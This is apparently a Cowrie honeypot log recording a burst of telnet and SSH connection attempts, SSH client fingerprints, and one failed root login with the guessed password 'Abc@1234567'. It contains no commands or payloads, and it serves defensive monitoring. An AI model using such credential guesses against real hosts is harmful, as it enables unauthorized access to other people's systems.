{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51698,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df2e6fcab0b","protocol":"telnet","message":"New connection: 51.161.172.108:51698 (159.203.135.109:23) [session: 5df2e6fcab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.735622Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51702,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cd117ab7f8b","protocol":"telnet","message":"New connection: 51.161.172.108:51702 (159.203.135.109:23) [session: 2cd117ab7f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.868932Z"}
{"eventid":"cowrie.session.closed","duration":31.61961531639099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:13.984920Z","src_ip":"51.161.172.108","session":"f24bb2c2fac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25138282775879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.046945Z","src_ip":"51.161.172.108","session":"35e81c538668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51712,"dst_ip":"159.203.135.109","dst_port":23,"session":"44753105a5b4","protocol":"telnet","message":"New connection: 51.161.172.108:51712 (159.203.135.109:23) [session: 44753105a5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.158516Z"}
{"eventid":"cowrie.session.closed","duration":30.514734029769897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.236751Z","src_ip":"51.161.172.108","session":"e4cece606452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51722,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6cf066539a7","protocol":"telnet","message":"New connection: 51.161.172.108:51722 (159.203.135.109:23) [session: d6cf066539a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.360623Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51730,"dst_ip":"159.203.135.109","dst_port":23,"session":"f066ed4e490c","protocol":"telnet","message":"New connection: 51.161.172.108:51730 (159.203.135.109:23) [session: f066ed4e490c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.743994Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51746,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0d868d90be","protocol":"telnet","message":"New connection: 51.161.172.108:51746 (159.203.135.109:23) [session: fb0d868d90be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.912609Z"}
{"eventid":"cowrie.session.closed","duration":31.45042896270752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:14.950068Z","src_ip":"51.161.172.108","session":"ba351393771f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51756,"dst_ip":"159.203.135.109","dst_port":23,"session":"7555ab0e994c","protocol":"telnet","message":"New connection: 51.161.172.108:51756 (159.203.135.109:23) [session: 7555ab0e994c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.173887Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51764,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e17b7bb46e","protocol":"telnet","message":"New connection: 51.161.172.108:51764 (159.203.135.109:23) [session: 79e17b7bb46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.307781Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51768,"dst_ip":"159.203.135.109","dst_port":23,"session":"601826d08067","protocol":"telnet","message":"New connection: 51.161.172.108:51768 (159.203.135.109:23) [session: 601826d08067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.520952Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51784,"dst_ip":"159.203.135.109","dst_port":23,"session":"39bcab7120bb","protocol":"telnet","message":"New connection: 51.161.172.108:51784 (159.203.135.109:23) [session: 39bcab7120bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.557740Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d7fb85be97","protocol":"telnet","message":"New connection: 45.10.154.244:35942 (10.17.0.5:23) [session: 57d7fb85be97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.742401Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51788,"dst_ip":"159.203.135.109","dst_port":23,"session":"84846a9ca8da","protocol":"telnet","message":"New connection: 51.161.172.108:51788 (159.203.135.109:23) [session: 84846a9ca8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.817029Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51800,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f8a026c37a","protocol":"telnet","message":"New connection: 51.161.172.108:51800 (159.203.135.109:23) [session: b3f8a026c37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.846254Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51816,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee746ba1e7fc","protocol":"telnet","message":"New connection: 51.161.172.108:51816 (159.203.135.109:23) [session: ee746ba1e7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:15.854576Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51818,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab9ed8f7d39","protocol":"telnet","message":"New connection: 51.161.172.108:51818 (159.203.135.109:23) [session: 3ab9ed8f7d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:16.379053Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"483f3fc5eae4","protocol":"telnet","message":"New connection: 51.161.172.108:51820 (159.203.135.109:23) [session: 483f3fc5eae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:16.654886Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51826,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ca63359819","protocol":"telnet","message":"New connection: 51.161.172.108:51826 (159.203.135.109:23) [session: 13ca63359819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:16.659803Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c013021546bf","protocol":"telnet","message":"New connection: 51.161.172.108:51828 (159.203.135.109:23) [session: c013021546bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:16.777350Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51840,"dst_ip":"159.203.135.109","dst_port":23,"session":"225e55bfdd24","protocol":"telnet","message":"New connection: 51.161.172.108:51840 (159.203.135.109:23) [session: 225e55bfdd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:16.857709Z"}
{"eventid":"cowrie.session.closed","duration":30.23241877555847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.056536Z","src_ip":"45.10.154.244","session":"6298f6485755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08446669578552,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.181468Z","src_ip":"167.99.38.72","session":"f6cd7a6fdbb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51852,"dst_ip":"159.203.135.109","dst_port":23,"session":"c44ccc302d0d","protocol":"telnet","message":"New connection: 51.161.172.108:51852 (159.203.135.109:23) [session: c44ccc302d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.290035Z"}
{"eventid":"cowrie.session.closed","duration":31.068732738494873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.339194Z","src_ip":"51.161.172.108","session":"24d99f7f9e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51864,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1884c955739","protocol":"telnet","message":"New connection: 51.161.172.108:51864 (159.203.135.109:23) [session: f1884c955739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.765435Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51878,"dst_ip":"159.203.135.109","dst_port":23,"session":"c332fb83dd27","protocol":"telnet","message":"New connection: 51.161.172.108:51878 (159.203.135.109:23) [session: c332fb83dd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.787192Z"}
{"eventid":"cowrie.session.closed","duration":31.372408151626587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.860468Z","src_ip":"51.161.172.108","session":"dba3729de4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51890,"dst_ip":"159.203.135.109","dst_port":23,"session":"53b5256184b5","protocol":"telnet","message":"New connection: 51.161.172.108:51890 (159.203.135.109:23) [session: 53b5256184b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:17.950765Z"}
{"eventid":"cowrie.session.closed","duration":30.315597772598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.147845Z","src_ip":"45.10.154.244","session":"00325f24bb41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10256028175354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.160608Z","src_ip":"51.161.172.108","session":"261f62c75140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51900,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b35871be4c","protocol":"telnet","message":"New connection: 51.161.172.108:51900 (159.203.135.109:23) [session: 76b35871be4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.202681Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51908,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4651d9312d","protocol":"telnet","message":"New connection: 51.161.172.108:51908 (159.203.135.109:23) [session: 4b4651d9312d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.311018Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51910,"dst_ip":"159.203.135.109","dst_port":23,"session":"490a34f9e72c","protocol":"telnet","message":"New connection: 51.161.172.108:51910 (159.203.135.109:23) [session: 490a34f9e72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.346197Z"}
{"eventid":"cowrie.session.closed","duration":31.531656980514526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.449755Z","src_ip":"51.161.172.108","session":"cd723adcef98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51912,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab7f53a2bf2","protocol":"telnet","message":"New connection: 51.161.172.108:51912 (159.203.135.109:23) [session: dab7f53a2bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.643584Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48582,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f3dbf62742","protocol":"telnet","message":"New connection: 45.10.154.244:48582 (10.17.0.5:23) [session: 15f3dbf62742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.856416Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51916,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c2510852c15","protocol":"telnet","message":"New connection: 51.161.172.108:51916 (159.203.135.109:23) [session: 0c2510852c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.906104Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48786,"dst_ip":"10.17.0.5","dst_port":23,"session":"e889c38cc165","protocol":"telnet","message":"New connection: 45.10.154.244:48786 (10.17.0.5:23) [session: e889c38cc165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:18.913304Z"}
{"eventid":"cowrie.session.closed","duration":32.128188610076904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:19.018553Z","src_ip":"51.161.172.108","session":"22148ffc8269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3403058052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:19.073257Z","src_ip":"45.10.154.244","session":"7c2bc9b8a5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13175320625305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:19.404587Z","src_ip":"51.161.172.108","session":"1e24493fa67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37004,"dst_ip":"159.203.135.109","dst_port":23,"session":"a76581235f6b","protocol":"telnet","message":"New connection: 51.161.172.108:37004 (159.203.135.109:23) [session: a76581235f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:19.423444Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"0206c051c4b3","protocol":"telnet","message":"New connection: 45.10.154.244:51090 (10.17.0.5:23) [session: 0206c051c4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:19.440493Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37016,"dst_ip":"159.203.135.109","dst_port":23,"session":"4822b02cb84b","protocol":"telnet","message":"New connection: 51.161.172.108:37016 (159.203.135.109:23) [session: 4822b02cb84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:19.960950Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":51576,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a40327c8377","protocol":"ssh","message":"New connection: 221.139.88.149:51576 (10.17.0.5:22) [session: 7a40327c8377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.185427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.190454Z","src_ip":"221.139.88.149","session":"7a40327c8377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37020,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a75e7703b3f","protocol":"telnet","message":"New connection: 51.161.172.108:37020 (159.203.135.109:23) [session: 2a75e7703b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.224370Z"}
{"eventid":"cowrie.session.closed","duration":30.52255916595459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.358485Z","src_ip":"51.161.172.108","session":"c333c09b6dd9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.398686Z","src_ip":"221.139.88.149","session":"7a40327c8377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37034,"dst_ip":"159.203.135.109","dst_port":23,"session":"cda0f9c75ec2","protocol":"telnet","message":"New connection: 51.161.172.108:37034 (159.203.135.109:23) [session: cda0f9c75ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.624497Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37022,"dst_ip":"159.203.135.109","dst_port":23,"session":"533c491423b6","protocol":"telnet","message":"New connection: 51.161.172.108:37022 (159.203.135.109:23) [session: 533c491423b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.629742Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":43760,"dst_ip":"10.17.0.5","dst_port":22,"session":"e079a97a02c1","protocol":"ssh","message":"New connection: 190.108.60.101:43760 (10.17.0.5:22) [session: e079a97a02c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.736027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.741188Z","src_ip":"190.108.60.101","session":"e079a97a02c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.886525869369507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.860883Z","src_ip":"51.161.172.108","session":"cd1f6132096d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37054,"dst_ip":"159.203.135.109","dst_port":23,"session":"441239d6ee67","protocol":"telnet","message":"New connection: 51.161.172.108:37054 (159.203.135.109:23) [session: 441239d6ee67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.895533Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37044,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f4dc029d3e5","protocol":"telnet","message":"New connection: 51.161.172.108:37044 (159.203.135.109:23) [session: 2f4dc029d3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.919137Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:20.948000Z","src_ip":"190.108.60.101","session":"e079a97a02c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.886223077774048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.031604Z","src_ip":"51.161.172.108","session":"07bd78dd1689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37066,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5794874d54","protocol":"telnet","message":"New connection: 51.161.172.108:37066 (159.203.135.109:23) [session: 7f5794874d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.119874Z"}
{"eventid":"cowrie.session.closed","duration":30.63176989555359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.202164Z","src_ip":"51.161.172.108","session":"a1edf5761db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37082,"dst_ip":"159.203.135.109","dst_port":23,"session":"027d7f414de1","protocol":"telnet","message":"New connection: 51.161.172.108:37082 (159.203.135.109:23) [session: 027d7f414de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.224461Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@1234567","message":"login attempt [root/Abc@1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.277538Z","src_ip":"221.139.88.149","session":"7a40327c8377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37090,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3246944360","protocol":"telnet","message":"New connection: 51.161.172.108:37090 (159.203.135.109:23) [session: 7c3246944360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.343022Z"}
{"eventid":"cowrie.session.closed","duration":30.86120367050171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.386812Z","src_ip":"45.10.154.244","session":"d461d0230b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54821538925171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.662214Z","src_ip":"51.161.172.108","session":"c8130b64550a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5efbefa91a2b","protocol":"telnet","message":"New connection: 51.161.172.108:37102 (159.203.135.109:23) [session: 5efbefa91a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.701561Z"}
